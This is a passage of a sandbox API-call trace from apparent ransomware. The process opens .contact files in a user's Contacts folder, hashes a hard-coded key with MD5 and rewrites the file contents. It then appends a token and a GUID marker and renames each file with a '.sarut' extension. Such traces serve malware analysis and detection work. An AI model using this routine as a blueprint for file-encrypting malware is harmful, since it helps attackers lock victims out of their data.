HALPmcxz\\Contacts\\asdlfk poopvy.contact.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.sarut")) returned 1 [0267.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0267.585] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0267.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0267.586] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0267.586] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.586] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0267.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.586] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0267.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.588] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1177) returned 1 [0267.588] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.592] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.592] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.704] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.704] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.704] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.704] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x499, lpOverlapped=0x0) returned 1 [0267.704] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.704] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0267.704] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.704] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.704] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.705] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.705] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.705] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.705] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0267.706] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.706] GetLastError () returned 0x0 [0267.706] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.707] SetLastError (dwErrCode=0x0) [0267.707] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] GetLastError () returned 0x0 [0267.708] SetLastError (dwErrCode=0x0) [0267.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0267.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3069588 | out: hHeap=0x640000) returned 1 [0267.709] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.709] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4a0) returned 0x30b3078 [0267.709] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0267.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.709] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb24*=0x494, lpOverlapped=0x0) returned 1 [0267.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.709] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0267.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0267.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0267.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0267.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0267.711] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0267.711] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.711] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.711] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.712] CloseHandle (hObject=0x5c4) returned 1 [0267.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0267.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0267.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0267.716] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.sarut")) returned 1 [0267.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0267.717] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0267.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0267.718] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0267.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0267.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.718] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0267.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0267.718] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0267.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.719] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0267.719] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.719] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0267.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.720] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1174) returned 1 [0267.720] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.722] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.723] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.737] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.737] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.737] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.737] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x496, lpOverlapped=0x0) returned 1 [0267.737] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.737] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0267.737] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.737] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.737] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.738] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.738] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.738] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.738] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0267.738] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.738] GetLastError () returned 0x0 [0267.738] SetLastError (dwErrCode=0x0) [0267.738] GetLastError () returned 0x0 [0267.738] SetLastError (dwErrCode=0x0) [0267.738] GetLastError () returned 0x0 [0267.738] SetLastError (dwErrCode=0x0) [0267.738] GetLastError () returned 0x0 [0267.738] SetLastError (dwErrCode=0x0) [0267.738] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.739] SetLastError (dwErrCode=0x0) [0267.739] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.740] SetLastError (dwErrCode=0x0) [0267.740] GetLastError () returned 0x0 [0267.741] SetLastError (dwErrCode=0x0) [0267.741] GetLastError () returned 0x0 [0267.741] SetLastError (dwErrCode=0x0) [0267.741] GetLastError () returned 0x0 [0267.741] SetLastError (dwErrCode=0x0) [0267.741] GetLastError () returned 0x0 [0267.741] SetLastError (dwErrCode=0x0) [0267.741] GetLastError () returned 0x0 [0267.741] SetLastError (dwErrCode=0x0) [0267.741] GetLastError () returned 0x0 [0267.742] SetLastError (dwErrCode=0x0) [0267.742] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.742] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0267.742] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3069588 | out: hHeap=0x640000) returned 1 [0267.742] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.742] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.742] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.742] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4a0) returned 0x30b3078 [0267.742] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0267.742] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.742] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb24*=0x491, lpOverlapped=0x0) returned 1 [0267.742] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.742] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.742] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0267.742] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0267.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0267.743] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0267.743] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.743] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0267.743] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0267.743] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.743] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.743] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.743] CloseHandle (hObject=0x5c4) returned 1 [0267.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0267.749] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0267.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0267.749] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.sarut")) returned 1 [0267.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0267.750] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0267.751] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0267.751] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0267.751] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.751] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0267.751] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.751] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0267.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.752] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1172) returned 1 [0267.752] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.758] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.759] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.776] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.776] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x494, lpOverlapped=0x0) returned 1 [0267.776] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0267.777] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.777] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.777] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.778] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.778] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.778] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, 